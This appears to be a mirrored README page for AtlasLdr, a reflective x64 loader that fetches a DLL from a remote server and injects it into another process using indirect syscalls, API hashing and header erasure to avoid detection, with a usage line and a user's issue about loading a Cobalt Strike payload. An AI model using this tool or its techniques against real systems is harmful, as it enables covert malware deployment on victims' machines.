Giter VIP home page Giter VIP logo

atlasldr's Introduction

Atlas is a reflective x64 loader that has the following features:

Features

  • Retrieve of DLL and PE from a remote server
  • Manual Mapping on a remote process
  • Erase of the DOS Header and NTHeader Magic bytes
  • Position independent code
  • Use of indirect Syscalls
    • ZwOpenProcess
    • ZwAllocateVirtualMemory
    • ZwProtectVirtualMemory
    • ZwQuerySystemInformation
    • ZwFreeVirtualMemory
    • ZwCreateThreadEx
  • Single stub for all Syscalls
    • Dynamic SSN retrieve
    • Dynamic Syscall address resolution
  • Atlas also uses
    • LdrLoadDll
    • NtWriteVirtualMemory
  • Custom implementations of
    • GetProcAddress
    • GetModuleHandle
  • API hashing
  • Cleanup on error
  • Optional cleanup on finish
  • Variable EntryPoint

Usage

Atlas requires the following parameters to work properly:

Usage: atlas_x64.exe [Process name / PID] [Cleanup] [Server] [Port] [AtlasPatcher DLL] [DLL/PE to inject] <Entrypoint>
Parameter Description
Name / PID The name or PID of the target process
Cleanup Indicate whether you want to remove the injected DLLs from the target process upon completion (Cleanup supports 1 or 0 as values)
Server The IP address of the remote server where you have the DLLs
Port The port used by your server
AtlasPatcher DLL The name of the AtlasPatcher DLL (by default atlas_patcher.dll) hosted on your server (you can find the DLL under /AtlasLdr/bin once compiled)
DLL/PE to inject The name of the DLL or PE you want to inject, hosted on your server
Entrypoint An optional argument; the name of the exported function you want to use as entrypoint when the DLL is injected

AtlasLdr

The Atlas approach

The conventional approach to a loader usually involves having an injector responsible for injecting a DLL containing the loader into the remote process we are targeting. Once injected, execution is passed to the loader, which is responsible for mapping the malicious DLL. In contrast, Atlas takes a slightly different approach by performing the entire mapping process within its own context, except for the Import Address Table (IAT) patching, which is deferred.

Once the malicious DLL has been mapped into the Atlas context, it is copied into memory previously reserved in the remote process. At this point, the malicious DLL is mapped into the remote process, but the IAT has not been patched. To fix this, AtlasLdr injects a DLL (atlas_patcher.dll) into the malicious process with minimal dependencies, which takes care of patching the IAT of the malicious DLL and then transfers the execution context to it.

This approach helps reduce the size and complexity of the loader DLL to be injected into the remote process and minimises the chances of the injector being detected, as we can load the DLL with the loader itself.

Compilation

Atlas needs to be compiled using x86_64-w64-mingw32-g++, once you have it on your system, just execute make (or mingw32-make.exe) on the project folder

AtlasCompilation

atlasldr's People

Contributors

krypteria avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

atlasldr's Issues

Error receiving the response: 12030

Hi,
thanks for sharing the code.
I gave it a shot but getting those errors once executed:

PS C:\temp> .\atlas_x64.exe notepad.exe 1 10.22.22.9 8888 .\atlas_patcher.dll i.dll isfine
[*] - PID of the target process: 7632

[] - Establishing the connection to the server
[!] - Error in WinHttpQueryDataAvailable: 12030
PS C:\temp> .\atlas_x64.exe notepad.exe 0 10.22.22.9 8888 .\atlas_patcher.dll i.dll isfine
[
] - PID of the target process: 7632

[*] - Establishing the connection to the server
[!] - Error receiving the response: 12030

meanwhile server side:

10.0.1.97 - - [22/Mar/2024 10:44:27] "GET /i.dll HTTP/1.1" 200 -
Exception occurred during processing of request from ('10.0.1.97', 57977)
Traceback (most recent call last):
File */usr/lib/python3.11/socketserver.py", line 691, in process_request_thread self. finish_request(request, client_address)
File "/usr/lib/python3.11/http/server.py™, line 1310, in finish_request self. RequestHandlerClass(request, client_address, self,
File "/usr/lib/python3.11/http/server.py", line 671, in init super)..
init
_(*args, **kwargs)
File
"/usr/lib/python3.11/socketserver.py", line 755, in init self.handle@
File "/usr/lib/python3,11/http/server.py", line 436, in handle self. handle_one_requesto
File
"/usr/lib/python3.11/http/server.py", line 424, in handle_one_request method
File
*/usr/lib/python3.11/http/server.py", line 678, in do_GET self.copyfile(f, self.wfile)
File "/usr/lib/python3.11/http/server-py", line 877, in copyfile shutil.copyfileobj(source, outputfile)
File "/usr/lib/python3.11/shutil.py", line 200, in copyfileobj fdst_write(buf)
File
"/usr/lib/python3.11/socketserver.py", line 834, in write self._sock. sendall(b)
ConnectionResetError: [Errno 104] Connection reset by peer

compiled from Kali box and tested with a cobalt strike payload dll on a windows 10 box
I miss something or did something wrong ?

thanks

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.